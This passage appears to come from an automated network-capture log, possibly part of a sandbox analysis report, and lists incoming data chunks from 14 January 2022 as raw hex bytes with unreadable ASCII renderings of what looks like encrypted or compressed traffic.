86 ee e8 7a 06 06 37 8e 34 da 15 98 57 f8 54 dc 8a a1 da b9 c7 f2 29 b1 9d 1f 1b 0e dd 5a 69 f2 d1 0c 95 f0 4c 41 39 ce f0 
a9 ba ed f9 ed db 24 c1 d0 b0 21 2b 8c 80 bb a0 21 b6 19 e7 4d 2a 2f 84 be f9 f3 54 b4 f6 b7 11 82 26 40 c8 70 fc 78 c2 27
96 dd 2f 84 39 9d 27 ad 45 f9 d9 44 95 c6 1e eb 39 69 ec 1a 4c 54 7c 2f b9 3c e8 99 2c f5 b1 35 78 f9 2f e4 df 1d 0f ab 1e 
22 95 9a 9d 43 f4 4d d3 5b b9 f6 f8 f9 6b 8a f9 04 39 45 4a f1 5a 3b c3 96 16 d9 fd bd a1 e8 8b 98 c0 ad 60 be 54 94 e7 f7 
f4 da cc 4c a5 f3 40 da 95 32 2b 83 9f 24 68 cf 0d 53 62 6e 55 a6 6b bd b8 38 23 a3 6e 82 c8 f7 2d 3c e7 8c ac ae a8 e5 
46 bb 23 a3 ab 9c b3 74 37 51 00 45 f6 95 d1 
Data Ascii: /c-m#`Bp">jn@GiF4$z74WT)ZiLA9$!+!M*/T&@px'/9'ED9iLT|/<,5x/"CM[k9EJZ;`TL@2+$hSbnUk8#n-<F#t7QE

Timestamp
kBytes
transferred Direction Data
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2022-01-14 11:23:07 UTC 2038 IN Data Raw: 19 cd a6 cd 24 4f 0e 25 23 bd 09 f7 fa e7 20 64 93 03 1c cf dd a5 6c 19 54 33 8a 18 56 90 90 68 40 87 c9 84 87 
cc ba 8f aa 77 b3 31 1c d4 7b 1e af 5b 5b e6 9a 3c 32 8d fe 61 e0 a9 a9 00 48 32 ec 39 90 5b 9e 2a 8a 93 9d 83 42 52 de 
50 f3 2b 09 1f ef 1a f6 c5 d5 35 f6 dc 7a 62 ab 01 22 95 66 cf de fb c1 a2 d9 b8 f1 2e c0 be 30 82 6a 1a 98 11 fa dd 9c d1 
70 2f 06 0a 1d 40 1e 88 3f 07 7d e5 e9 97 5e aa 93 de 43 06 8d 47 73 19 36 84 1c ad ba b9 99 20 95 33 73 af 66 8f ee 53 
84 a8 77 43 05 e2 4b 15 11 ec c1 fb b0 25 ce 2e 3f 01 aa c0 d4 42 cd 9b 1c cd 42 39 8b bb 50 5f a5 c7 9a 2e b3 44 db 6f 
b5 d6 f8 df 47 75 71 5a 43 d7 06 fe d6 39 b4 22 78 69 82 37 60 08 bf 32 b3 10 ce 8f fe 18 1a 6b 72 6a 27 93 a4 9c fc 63 2d 
bf 0b 63 7a a6 f5 f3 2c 69 14 3f 5c d9 cd 6d 9e 
Data Ascii: $O%# dlT3Vh@w1{[[<2aH29[*BRP+5zb"f.0jp/@?}^CGs6 3sfSwCK%.?BB9P_.DoGuqZC9"xi7`2krj'c-cz,i?\m

2022-01-14 11:23:07 UTC 2054 IN Data Raw: 19 80 41 93 fe ef 01 76 4d 0c 0f 07 da 3c b9 8d 40 b2 22 79 3b 43 7b 1f 59 2d cc 4a 7c a7 bc 5b 98 62 6b 21 
8c cd a0 89 ad e5 33 ab 97 90 5d 35 b5 3f 2b a9 46 f2 60 46 37 45 b4 45 d6 7e d2 6e c3 bf 58 68 20 f1 04 01 fe 14 fb 4c 1e
07 c9 fc 57 f0 df 38 ed ef 2a c9 7c 47 70 86 ab 35 b8 25 51 05 74 4b e8 9f f6 e1 69 c8 68 cc da aa c0 13 c7 ac 01 9b 23 9a 
9b 38 37 4a e2 08 77 00 96 31 52 8d 40 e5 53 44 d1 5c 8e 27 15 b6 fd 1f ec 2d 8d 5e e6 95 7a e8 af a0 fd 26 a4 b3 f0 ed 
88 47 be 8e a0 5e 16 d2 37 ba 56 10 44 8c 5f 4f 23 15 e0 a6 bb 6a b2 d6 2f dc 44 59 05 aa 98 43 83 de 92 1c c2 c9 e0 8c 
fb be f1 10 e8 e7 9e 53 9d 45 7c 15 47 bb 18 d4 e2 3d d7 f3 8f 37 d0 60 27 de c1 57 b2 b6 9b 86 b2 6c ac 6d fa 2a 62 65 
3c e5 49 2c 48 47 ed 9c 41 c7 68 68 26 f1 6d 6d a6 
Data Ascii: AvM<@"y;C{Y-J|[bk!3]5?+F`F7EE~nXh LW8*|Gp5%QtKih#87Jw1R@SD\'-^z&G^7VD_O#j/DYCSE|G=7`'Wlm
*be<I,HGAhh&mm

2022-01-14 11:23:07 UTC 2070 IN Data Raw: 64 41 f5 ff b3 01 bd f8 7e 9f 68 2e 78 b9 fa 54 d8 7c ca cf 72 aa 86 80 32 03 b1 4d 67 02 f5 da cb f9 c3 2d 69 75 
13 d1 d4 34 8e 8a f2 27 37 79 8a e0 c1 e2 c4 7d 33 7d 78 d2 5a 33 b4 de f4 94 e0 e7 f5 83 22 26 48 20 04 9d 9c a2 70 63 
39 33 99 39 0c c3 a3 ba 27 7f 04 8d d7 07 8d 3f 7b 83 1f 8c 2d f5 f4 36 54 19 b3 95 ed 22 08 7a 67 9d 62 5e a0 20 b4 cd 
7d 18 e6 c7 12 76 3f f6 2d 57 68 b2 d4 7f d0 01 06 c0 a4 86 3b 59 08 9f 32 f1 3b b2 4f 6a 8b f7 71 42 9a bd b0 86 cb a1 3c 
f2 de bc 85 72 06 35 94 2e b4 81 43 da 31 21 d1 d6 6e 00 a2 58 68 c4 be bc 44 6d 38 1d 86 d5 61 65 3d 28 b8 73 d7 76 
36 03 36 ba aa be 91 18 15 f6 7a 9c f5 53 47 18 d1 a3 41 cc 2c 8f d1 76 51 44 ec 66 2e 38 fe f7 bc 71 b6 0c 46 7d 5c f5 d0 
12 8b 52 5c 18 cb 1b 44 fe 07 86 58 d1 6c 45 6e 
Data Ascii: dA~h.xT|r2Mg-iu4'7y}3}xZ3"&H pc939'?{-6T"zgb^ }v?-Wh;Y2;OjqB<r5.C1!nXhDm8ae=(sv66zSGA,vQ
Df.8qF}\R\DXlEn

2022-01-14 11:23:07 UTC 2086 IN Data Raw: a8 48 7d 32 b8 3c fd ec 88 36 66 31 eb 08 7d 07 8d 7c aa 3b 70 0a 11 3c 37 f3 a0 c6 c9 1e df a1 5b 30 26 2c 
76 b0 28 7b 78 3a 4f f1 fb 85 65 ed 0e 09 1d c2 01 dd 0b a7 33 27 5c ee e6 bd 98 40 5a 5b 4a 6a 8a 55 b4 7f 04 7b 44 d9 
0d 80 57 b4 f3 7a dd 50 fe b5 fd 4b 10 92 d4 05 7a 03 ad 09 7b 99 c0 d9 b8 99 64 b3 88 cb 1e 02 19 d2 f4 10 88 40 93 b9 
fb ab e1 50 4f bd 83 cb d8 68 43 31 3b f6 65 00 78 73 47 ae 7c 24 aa fe 7a 31 b5 bf 3b 73 95 ae 85 21 1c 56 4d fb 9b 26 1f 
01 78 bc 41 e2 be e3 a5 61 b2 d8 f7 d1 ab 23 bc af 9a 9e 91 c1 91 c8 8f 22 c6 51 6e 17 9c de 04 e8 75 92 01 f4 9f 71 e3 
69 9b 43 3e eb fa 8f b0 26 58 96 ac f6 7c 91 aa 88 31 5e 8d cb 64 65 b0 b5 ce b4 b2 ae 99 f1 93 c7 06 62 97 c7 71 c7 fc 
53 0d 2f 9b d8 24 81 9a 21 8d 5d 8b 4d 58 ad 41 ea cc 
Data Ascii: H}2<6f1}|;p<7[0&,v({x:Oe3'\@Z[JjU{DWzPKz{d@POhC1;exsG|$z1;s!VM&xAa#"QnuqiC>&X|1^debqS/$!]MXA

2022-01-14 11:23:07 UTC 2102 IN Data Raw: 60 69 7a d8 cd 0d bb 8a 6b 35 a8 70 86 7f b9 af d9 20 de f6 0b 55 be dd 60 c4 45 5f 05 10 fb d3 30 b6 3e 79 9a 
63 3e 1e d2 3b d3 f7 8e ae d9 d5 05 39 d4 4c 13 89 16 84 bc 8e 86 d6 26 dd 43 70 0b d8 bd 13 11 5e ef 56 1c 47 bc d7 dd 
8a e1 0b de 8b 2d d6 35 c0 ad 8e d5 6d 67 1d 49 24 a7 6b 42 71 32 fd bd 57 0c 03 42 50 df 60 45 65 72 ff 7b c7 35 ec 16 
59 a8 23 f7 42 da 54 62 af 58 d2 50 98 92 8c a9 72 86 e4 fa 7b 16 81 33 d4 2c 43 ef 4b c4 bd 70 3e 07 0d 76 dd 41 03 4f 
ab 69 c0 ed a9 47 9c 11 05 a4 f2 f3 86 1c de 7a d3 50 7b f7 41 94 dc 60 66 b2 04 fa 3f e4 b0 9f 90 07 92 0c 1c 22 e3 c4 f4 
98 81 cb 61 6a e6 4c ab 8c 69 b0 a9 a2 02 d9 30 99 5d a9 85 6e fa be fc 2f a9 a9 6e a8 44 fd b2 02 b9 11 36 0b 4f 37 f3 2c 
4e ca f6 18 5b 45 32 9a dd e9 bb 2d d8 53 f6 ce 
Data Ascii: `izk5p U`E_0>yc>;9L&Cp^VG-5mgI$kBq2WBP`Eer{5Y#BTbXPr{3,CKp>vAOiGzP{A`f?"ajLi0]n/nD6O7,N[E2-S

2022-01-14 11:23:07 UTC 2118 IN Data Raw: 23 05 6f d2 41 c6 04 f7 36 c9 4a 2d 0d 05 38 ac c5 ed fa 49 85 9d 35 c3 51 91 20 78 5d 08 62 a0 b1 cb f1 1a d0 
06 b7 74 9b 63 cb 39 ab c7 f2 de fa 17 c0 77 df ca 24 c7 12 e0 01 5e c8 66 e3 ea ea 75 cd 4a 38 b0 87 1f b9 e7 98 b4 d6 
da bd fa ab e5 f3 c9 3e 36 0c 82 a0 66 70 de 10 90 6f ad 80 6e 06 10 ed 6f 33 b0 16 cd 0e 05 93 c9 98 9f 67 8e 34 bd 2b 1f
ec 39 5a 7e 77 10 62 b6 9d 0f 79 43 9c 17 98 c4 76 7a 47 e5 bd ca 1f 37 71 7e f7 93 be 74 cb 4d d2 6c bb ca a7 8e b8 b5 
8d 93 fd 4e 95 ae 1a c2 ba d9 e7 0c 31 3e 8f 64 89 89 5f 7c 8e 60 44 65 db 3a 69 10 61 18 e4 ae f6 3e 6e cf 24 5e 25 17 
c5 d5 a9 a2 ae d5 b2 00 93 f8 3a 9f 10 63 5e f3 2b 78 1f 1d ed 82 05 f2 47 9c ed 7b 3f 09 05 ad cc c2 5a da 02 ed ff 6b d0 
83 ca 86 b0 a7 ee c5 6c 55 55 c7 35 3d 5b be 92 
Data Ascii: #oA6J-8I5Q x]btc9w$^fuJ8>6fpono3g4+9Z~wbyCvzG7q~tMlN1>d_|`De:ia>n$^%:c^+xG{?ZklUU5=[

2022-01-14 11:23:07 UTC 2134 IN Data Raw: 9e 5c 69 97 4a a9 3c 43 43 95 bd f3 6f b7 2f 1f 74 2e 9d c8 4a 25 84 9e df b6 bf 08 80 bc 6f 68 a9 b9 72 6e 22 
d0 8f a9 84 f1 20 3d 40 e4 b6 54 f2 e1 1f 91 30 df e4 d1 e3 90 88 c9 bc 37 ea 3f 8b 68 ca 95 af 19 fc 5c 5e 54 99 45 36 8c 
6a 54 62 27 d6 92 2d 7c 1e 1a 4b 74 b1 fa eb f4 23 1d 06 3f ee 37 46 6b f4 86 77 b7 cb ad cf fe 44 5c 90 14 8f 0d 23 43 57 
60 8a 40 7f 4c 6b 97 d3 48 32 0a b9 f8 6e 89 e2 73 f7 ee e8 a9 3d 8a 4b da f7 4f 99 48 53 0a e3 6d d5 c2 f7 ce 38 80 5b df
aa a4 89 68 9d 06 2c 33 9d 23 50 7e fa 57 54 da ab bd 37 44 ec ba 86 b0 d4 27 07 b4 ae 4f eb b2 31 53 51 66 5c 39 30 26 
82 4d 7c b8 ea 1f 14 d3 32 2e f8 fc 52 a1 44 6d c9 14 ab 4d 10 28 b7 b2 21 b5 3c f8 e9 2a 1c 7c e4 a4 cc 8d 0d 00 85 2b 
66 87 a0 14 42 a2 4d 4a 78 07 e6 9a ee 42 3e 
Data Ascii: \iJ<CCo/t.J%ohrn" =@T07?h\^TE6jTb'-|Kt#?7FkwD\#CW`@LkH2ns=KOHSm8[h,3#P~WT7D'O1SQf\90&M|2
.RDmM(!<*|+fBMJxB>

2022-01-14 11:23:07 UTC 2150 IN Data Raw: 0c da e4 ba 6f 34 82 61 a5 58 fd 9b bf 6a 26 ec ff 5a f2 18 61 8c a7 5f 49 bd 70 95 ce 91 9d 85 df ea 56 d3 00 
4e 3c 59 33 bb 15 3b f4 91 53 d3 e1 90 8a ba 50 f0 b7 4e d0 ff 8c 5b 4d 38 63 53 a9 0e 6c 5a cc 4f c5 bb 0b 39 4d 17 4c 
38 ba 61 bd 48 bf 72 d2 5d 68 b1 09 3c 5a 71 3c 4e 9a 4d 5e e1 86 cf 12 5b 03 a6 41 e1 0e de 9c 2f 7e 89 3c 58 be 67 85 
9c 2d 48 1f 31 98 0d 00 df 83 6c e6 1f 6c c9 ee 88 f3 b9 d7 a0 40 62 b2 79 b5 5c 51 bf cc 75 56 2d aa fa 5d ce 2c d7 b6 b4 
54 31 85 3b 96 e7 33 93 d3 df 69 fe 30 5e f6 d8 98 31 79 78 f6 fe 30 40 9e 05 c3 a6 fc fd 2a 2c 35 80 a2 53 19 b5 39 34 9c 
98 fb 23 58 5e ae f3 c9 11 96 da bd 2f b2 17 ce 46 ac a8 54 bc 11 38 cb a8 59 6e 97 85 d3 e2 9d 3b d0 d0 24 3f 5d 18 d7 
9c 3e 41 15 dc 82 b7 31 b4 47 d1 f9 3e a7 a0 a1 
Data Ascii: o4aXj&Za_IpVN<Y3;SPN[M8cSlZO9ML8aHr]h<Zq<NM^[A/~<Xg-H1ll@by\QuV-],T1;3i0^1yx0@*,5S94#X^/
FT8Yn;$?]>A1G>

2022-01-14 11:23:07 UTC 2166 IN Data Raw: 8b 2d 07 af ad ca 6a 56 e8 de 24 62 78 75 3e 76 fa 77 8e 29 58 0d 78 1c 94 8d 1f 02 4f e2 d2 c4 16 20 4e 9f 89 
44 85 f2 3b 23 f6 3c 29 a5 db b4 e7 95 91 dc 66 50 47 c2 bc d7 0f aa 4c 1f 97 cb 71 bf 21 b1 00 f5 44 a6 b8 e5 65 a7 23 ec 
e2 26 8f c0 e6 cb 08 9f c8 a6 5d 3f 25 ce 05 47 57 2b 2f 24 6e 9a 8f 14 2d df 1d 72 d8 71 95 94 44 e4 c5 db 85 07 b8 1f 53 
87 6c 8c 95 d5 24 17 32 78 1e fd be 58 1e af aa 8f 95 c7 92 49 4f a0 b3 9d 5f 4f 63 d3 6f 23 8e 94 44 23 62 1b 67 7b 6c 0a 
f9 99 b1 84 7b 41 97 cc 39 6d 49 c1 45 5b 32 aa b5 3c e5 8f 0d ed 13 90 95 c2 07 96 30 f3 22 0b c6 92 56 17 6b c6 ed d3 
27 e2 53 46 90 8a fc 6a e6 11 8f b4 b2 83 9d 33 49 a5 6c ee e1 f6 15 be 5b 0a 75 77 58 48 09 89 7c a8 57 60 fe bd d1 5c 
90 9a 6b fa 79 89 60 e9 67 70 41 36 0b 88 86 
Data Ascii: -jV$bxu>vw)XxO ND;#<)fPGLq!De#&]?%GW+/$n-rqDSl$2xXIO_Oco#D#bg{l{A9mIE[2<0"Vk'SFj3Il[uwXH
|W`\ky`gpA6
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2022-01-14 11:23:07 UTC 2182 IN Data Raw: 7c 28 25 7b 89 64 8e 7b d0 bb 74 b8 0b 41 8a 03 e1 da 51 aa 83 37 40 f9 b5 5f e2 da fa d3 71 5f 2f d8 cb 30 1e 
3a c8 b2 76 05 ff e8 c5 32 81 b0 58 e7 10 e1 d8 87 d0 1b 11 80 ec 23 b5 34 49 90 e1 72 7d 8b e2 e0 47 3a 90 67 c5 fd 63 
2d 44 01 d3 ff 03 84 42 4d e1 d4 3a 87 66 bd 60 ed 1c 10 f7 f8 b9 80 a1 c2 33 f3 0b 79 19 a2 8d c1 95 68 00 9a e6 5e ee 
92 a5 2b 97 9d 93 b3 7f 08 92 f8 68 09 14 44 7a 72 1e 31 38 e5 ad 1b 29 f4 a5 e1 29 d3 eb 87 81 e8 c8 42 3b 06 d8 ab ed 
78 3a 11 97 27 22 d0 64 26 a7 dc 72 c4 33 35 5d 66 16 be 50 34 d0 46 30 cb a5 1f d0 e7 ab 93 1f 81 31 7e 91 af 80 21 35 
18 05 fa d2 56 47 b3 48 79 9b 16 76 6d 56 1e f9 db 13 9c e9 0d 1e bc 6e 98 4b 07 84 cc 00 3c 25 e8 ed b3 07 0f 7c 5a ac 
49 cc aa 82 95 36 fb 25 d9 c8 98 3c ca e9 5e 10 64 9c 
Data Ascii: |(%{d{tAQ7@_q_/0:v2X#4Ir}G:gc-DBM:f`3yh^+hDzr18))B;x:'"d&r35]fP4F01~!5VGHyvmVnK<%|ZI6%<^d

2022-01-14 11:23:07 UTC 2198 IN Data Raw: 86 79 c3 42 e9 34 db 28 77 e8 35 c6 5f 90 5d 28 cb 6f 91 c9 0c 7a 62 98 db 67 9a b0 4a 92 9c 80 0f 1f 93 b6 04 
ab 3d 84 00 97 2f c0 34 b7 5b 53 50 e3 b9 67 17 50 9f e1 4e 6c 31 6a 95 59 fd c7 6d bc 68 97 48 0a 5a d8 57 cb 85 5e 90 
b2 30 46 4c 48 2d ac a7 92 ee 9f 9c a3 59 e4 6c 96 cd 37 16 b3 d1 dc 1f 57 7c 63 64 df c1 19 87 ae 82 4e af 8f 6e 57 21 
c1 ad ac db 1b e2 69 eb 77 37 6a 5e 9f ab 12 be bb 54 c7 66 a0 51 8c bf e6 17 04 8a 2d 29 ad 4e b6 48 a3 40 9f 53 fd f7 
5a c3 cd 99 80 df fa 95 7b ea 0f 64 bb 35 18 c1 da 0e e6 f5 71 5e 93 61 49 3d 21 9d c4 60 19 11 51 02 ea 12 68 c1 f0 9e 
18 bb 22 c8 5e a2 48 3f e9 bd f1 66 75 c3 88 76 03 ed 81 70 81 70 38 71 86 01 83 c6 d2 77 c9 c1 a7 0e 69 f3 19 78 d8 fb 
69 bc 8e bd 1c ca e0 76 69 e7 3c 07 bc 71 78 24 6b f5 
Data Ascii: yB4(w5_](ozbgJ=/4[SPgPNl1jYmhHZW^0FLH-Yl7W|cdNnW!iw7j^TfQ-)NH@SZ{d5q^aI=!`Qh"^H?fuvpp8qw
ixivi<qx$k

2022-01-14 11:23:07 UTC 2214 IN Data Raw: e6 98 a2 84 83 18 bc 5b fe f1 3b 76 3a f4 df 08 e0 86 41 71 d7 1d 70 22 33 c3 85 5e c4 c3 1d 16 78 4f 0d 05 1c 
18 94 95 1a 76 8a 73 b1 b3 e4 e1 0f de a3 45 12 7a a2 9a 02 d7 a5 97 de d6 a9 8d 34 7d a9 c1 ae 44 75 9f 97 1c b5 a0 82 
41 cf ed cd 9f ea 4b 83 a3 1b 75 0f f4 e0 9e 46 12 04 3e 73 d9 92 cb 88 e2 f7 49 ee 63 1a 0e ab d5 26 04 bf 66 49 7a 3f 70 
b5 11 87 fd 8b 57 77 7e 1e 29 c6 a9 a4 ec 20 e3 99 9b 01 9a e8 43 2b 1c 06 2b f9 57 a5 b5 4b 63 3e 7b b5 7c cc fe 2f 33 
09 41 b5 52 ce bd d7 40 26 c6 34 ed d7 93 95 43 25 98 96 71 ec 7d bc ea 0d ee c6 15 4c 0a e6 ba 70 5e 38 99 1c 16 87 
3e 70 3f d6 75 da e2 63 00 39 b1 4c 24 de c3 40 aa 14 e5 b4 2b ff 2d 6e da ec 1d b6 e1 13 01 fa 47 38 a5 46 ed 11 23 64 
3e 44 f1 86 a7 42 6f 85 aa fe 3f e6 08 77 72 e1 0d 3d 
Data Ascii: [;v:Aqp"3^xOvsEz4}DuAKuF>sIc&fIz?pWw~) C++WKc>{|/3AR@&4C%q}Lp^8>p?uc9L$@+-nG8F#d>DBo?wr=

2022-01-14 11:23:07 UTC 2230 IN Data Raw: cd 61 fc d2 a1 21 96 c2 12 77 3c bb 12 eb 90 4a ae fe 2c 20 1f 6b 4f 56 1c 77 20 c5 ef 53 84 b5 49 ab 53 0d 00 
9b 96 f3 34 38 c0 c1 6c 49 91 7f c2 8e b7 f3 e6 29 9f 58 7c 44 9f c0 e3 3e e6 46 6a 86 3a 85 ca 06 d1 a6 db 4c 99 5e cd f5 
a3 4d 96 dc ac 09 29 1e 69 c3 d8 eb 74 f4 04 54 33 b9 82 db 54 57 0d 09 b0 67 7d f2 21 8d 05 df 5d 66 56 b4 e2 80 50 ed 
4f e6 5d 5c 96 ee 2d 4d 68 3a 94 a4 9a 9d 7e e4 23 b5 dd 1c 02 b4 7c 23 0d fd 4e 46 d8 90 b6 43 8b 30 29 16 2f cd fc d3 
8e e0 32 f6 1c 53 f3 0f c5 7c d0 74 d7 45 af 80 9e 6c 75 44 31 1f 82 e4 dd 34 c3 11 1b dd ac 95 cd dc c7 d7 a9 93 30 dd a7
db c7 02 9d 2d fa b2 83 15 36 e4 b2 6e 9f 51 f7 12 fe c1 ea 92 1f b5 89 ba 91 b9 bc 9d b1 ac b1 8d 70 66 ff 1d a5 e1 3d c8 
1c 9f 89 6c 05 98 53 38 75 2f 30 9c 2b bd 60 
Data Ascii: a!w<J, kOVw SIS48lI)X|D>Fj:L^M)itT3TWg}!]fVPO]\-Mh:~#|#NFC0)/2S|tEluD140-6nQpf=lS8u/0+`

2022-01-14 11:23:07 UTC 2246 IN Data Raw: a0 74 79 c3 b6 37 7c b4 79 a8 22 c8 98 f1 76 3e a4 b2 d3 22 60 89 62 a7 4f 46 78 41 c4 c5 e1 40 2e c8 00 ae 
4b 7d 10 58 f3 57 ea 2a bb 38 e9 27 af f4 4a e7 36 1d 21 57 ac 8b dc 9f 6d 41 d6 eb ef b8 23 c6 27 c8 10 66 c1 62 b4 93 
8a 4f 9c 11 e0 54 96 1a 76 f6 3d 06 91 c1 70 cc be 5d db e2 57 c8 a1 ec ff 99 ef 6a a1 28 3a 5c f0 ad 93 e0 30 52 de 5b 2f 
c2 07 bf eb 78 b3 8d 4f 77 d4 1b 57 7d c0 a7 ee fd 28 c1 33 b5 d3 a5 88 1c 17 5c c1 c8 fc 4e 36 f4 68 b8 0b 86 40 36 4b 
24 da 82 ce 6a cc 88 be 0f 1b 91 23 9a 73 cb c4 ec fc 59 13 4f 86 23 13 bb a1 82 15 db 3d cc 9a 79 9a 87 21 46 40 90 e7 
1f ea 19 28 16 fd b3 ec 21 a8 1d 2f 08 ad 7e d5 c2 c1 06 68 a1 fb 5b 67 d3 2b 0a 29 a9 0d 92 e5 4c 16 8d 08 ed 93 7f 74 
59 aa 28 fe 9b e2 dc d4 c2 98 97 19 4b 75 d6 39 9e d4 
Data Ascii: ty7|y"v>"`bOFxA@.K}XW*8'J6!WmA#'fbOTv=p]Wj(:\0R[/xOwW}(3\N6h@6K$j#sYO#=y!F@(!/~h[g+)LtY(Ku9

2022-01-14 11:23:07 UTC 2262 IN Data Raw: d7 c7 51 62 e7 a0 5f ea a5 84 54 f0 4c 23 71 e5 25 dd 15 f9 f9 a8 42 ee e9 89 eb 79 d0 51 fb 25 a4 69 96 c7 c5 
52 b7 0c 94 75 b8 7c 4e 1a 60 b0 2e 33 4e fe 50 bf f5 95 ca 52 c1 db ee f7 54 bb 37 b2 ce 73 df 65 ac ba e6 54 5d 7d 50 
06 30 75 aa 85 70 d5 ae 5b 16 4e 0e e6 61 16 95 a9 c4 8c 61 cd 28 19 a7 d1 0b f8 53 a0 18 ea bd af 0a f0 f5 a2 04 33 1e 
44 9e a8 d4 11 fc 21 bd 1a c8 1d 6b 3b ec cf 42 a0 4e e2 bb 1e ba 70 55 5f 2c 16 b7 80 26 9c 0e bb d5 4c 64 72 b5 15 9b 
66 44 91 8c f5 fc ae 03 2c 90 0c ba 11 5e 00 d1 e1 6e f8 20 ce 79 a5 2a 9b 45 5c 44 87 14 e1 e1 6c d3 9d 40 f4 41 df b2 
04 8f 1a 74 73 8b 18 f4 43 43 71 48 96 f9 cd 5e b5 ba 8f c7 c0 aa 0c d6 64 bc 7b 8e 03 04 80 10 4f 09 ba 8e 7a 52 1c 74 
83 39 a3 2c b2 e8 14 b4 e1 23 7c 4e e1 2b 6a 37 b8 1f 
Data Ascii: Qb_TL#q%ByQ%iRu|N`.3NPRT7seT]}P0up[Naa(S3D!k;BNpU_,&LdrfD,^n y*E\Dl@AtsCCqH^d{OzRt9,#|N+j7

2022-01-14 11:23:07 UTC 2278 IN Data Raw: 2b d7 de a2 7c 40 76 84 94 af 93 8c c7 0e 70 ff 4d ae f0 57 01 4d 58 e2 a3 2e 67 9b bc 81 04 cd 08 04 af ec 4c 
01 bb 57 aa 41 b8 e4 76 93 e4 87 18 7d bf 5e f1 a0 a6 db 92 7b 16 33 08 0f 84 01 47 02 c2 b8 74 b0 a3 33 4b e4 2e 73 34 
ab de f3 d4 80 6f 75 a2 35 2a e5 41 fc 18 21 27 d6 ef cd 62 46 d5 46 6d 06 6e dc b8 00 30 a6 02 e2 16 9e 7e 74 66 bb eb 
e3 1e 2c 4f 11 8f a8 8e e0 c9 25 24 08 45 dd 23 a0 86 5b 84 27 ba 15 9d 3f 16 ba 1f 9d 70 24 da c9 8a 78 11 99 10 ef 86 
fd a0 02 cb da 09 12 d7 0e e3 e5 2e 1b 1a f2 a5 7a 7d 10 a9 5e aa c7 93 0a 81 d7 a3 ff 7d d4 5f 2d 21 46 e7 de 76 7a 13 
17 7f db 15 45 44 18 80 e1 f9 95 cb 5a 90 a3 cc b1 15 ae 87 48 b7 be 08 8b 7e 8e 56 e4 bf ff 36 e7 b7 a5 fb a7 38 62 81 
da dc 71 cb c5 1a fc c2 d2 36 94 08 15 88 7d 99 69 3b 
Data Ascii: +|@vpMWMX.gLWAv}^{3Gt3K.s4ou5*A!'bFFmn0~tf,O%$E#['?p$x.z}^}_-!FvzEDZH~V68bq6}i;

2022-01-14 11:23:07 UTC 2294 IN Data Raw: ea 72 f8 f4 bf cc d3 ae 7f 74 6b e5 49 3f 88 23 29 73 33 c9 f7 f7 09 d4 f8 3a 50 17 a0 5d 84 16 f4 e6 39 02 46 
b5 cf 3b 53 ab 81 5b 39 e3 e2 30 c7 96 b8 15 26 7a 53 55 56 ff 38 4e 1b 58 3a ba 4a 61 d1 bc 08 f3 2b b4 e8 18 0d 54 68 
f3 2c 6e 5a aa 78 61 0e c0 ad 5f 86 a1 4e 80 58 7a f1 74 2a 8c 1a f4 3b bc 6a 5a de c2 85 5a 63 a5 19 83 9f df 27 e5 7e 89
bf fa 11 1c 39 99 e0 79 05 78 0b c3 7c 83 a9 7e d8 a3 f5 c5 a3 a0 69 17 30 2d e7 9b ed ee a5 89 7e 91 78 72 58 43 7f 3b 
c1 e6 42 8e 54 37 32 c7 e4 94 b1 5f 0a 04 a6 48 8e 11 68 63 ad 2a 8a 13 85 a3 7a db e5 da e8 72 6d bd 05 a2 e7 12 61 
63 25 98 bb 6c 9b 8f 9b 4d d2 ec 62 b0 67 a3 30 17 f6 ae e7 90 d6 a5 9b 17 ab c7 44 55 e4 dd 4c 18 b1 37 02 df ee af db 
3b 10 dc bb 10 06 8e 68 1f cf 15 f7 4c 16 bf e1 af c6 
Data Ascii: rtkI?#)s3:P]9F;S[90&zSUV8NX:Ja+Th,nZxa_NXzt*;jZZc'~9yx|~i0-~xrXC;BT72_Hhc*zrmac%lMbg0DUL7;hL

2022-01-14 11:23:07 UTC 2310 IN Data Raw: 4b 40 1b 88 b6 44 2a 51 d0 b9 1c 10 d4 5e 1e 4c 59 00 50 06 53 4f 9b 25 68 39 48 1a ed fb 4d 2e fa ce 62 6d 
77 62 cf 70 77 9e eb 80 95 3e ed a8 10 d5 c9 6b ac 52 fb ec fd c7 8c 98 ac 32 a8 b1 17 d9 77 84 7a 2c 81 d2 33 5e 3e 2a 
8f b7 70 33 5c 35 76 00 41 46 a6 f5 7d 65 b3 31 74 b7 b8 20 79 a5 54 20 bf 4d 4f 0f 34 73 0d 3c 20 b4 7d 56 23 50 d4 c3 
af 9f 17 b6 ca 8d 4b ac 2b 03 14 81 97 1f 45 4e 03 0f b8 36 cb f2 7e 4a 14 8b 4f 32 bd 4e 50 3e 38 91 65 2a e9 9d 40 9e f0 
c4 50 5f 50 ab 36 be 62 6d 73 8a 82 21 f4 a7 ac 58 c7 c4 ee be 76 98 da db 24 f0 35 60 26 23 05 2d da 97 cd 5e 52 e7 ef 
60 a4 e0 9a d5 d2 4b a7 e7 de 54 19 a7 96 c5 89 c5 f4 a3 11 1c 3f 2f e2 04 0d 04 82 3e 2b 9e 42 e6 e0 13 aa 08 c7 84 3b 
13 d7 a8 d3 c7 ac 4d 1c 59 e7 c6 47 04 40 fb 4d 48 8f 
Data Ascii: K@D*Q^LYPSO%h9HM.bmwbpw>kR2wz,3^>*p3\5vAF}e1t yT MO4s< }V#PK+EN6~JO2NP>8e*@P_P
6bms!Xv$5`&#-^R`KT?/>+B;MYG@MH

2022-01-14 11:23:07 UTC 2326 IN Data Raw: 80 b2 ae 13 98 7b 40 14 7d 84 91 44 1e 11 40 62 6a 13 8d 9a 1e 51 37 b9 53 b7 2a 34 b4 fc ff d4 c3 07 35 8b 
5a 56 d7 5c a3 8b 36 a5 dc c9 2c 73 d1 02 d6 7e d2 42 56 6d fb 9f 37 ef 15 d9 0c 1f fd 3e 44 b4 60 f0 11 f7 d4 a0 24 0e 7e 
27 be 07 72 ed 80 91 6b cd 3f 9d e4 08 f2 48 0f d8 7b 5b e6 11 d0 0f 11 e1 b5 b1 0d 3f d5 c0 0a c5 34 77 19 3f 6a 93 af fb 
d9 6b ba dc 38 77 2c 14 79 97 1f 59 59 c9 b8 e0 1d 54 e0 86 e4 7a 7b 3b 0f f5 21 96 2a 02 29 ee 22 02 12 bd 6c 6f a0 48 
e4 b2 24 29 c5 f5 fe d4 a4 a9 3b d4 35 65 83 48 2a 87 d6 7f fd b2 87 40 4a ea 5b 54 21 5d 54 0c fc 36 4c f0 72 89 e9 c0 af 
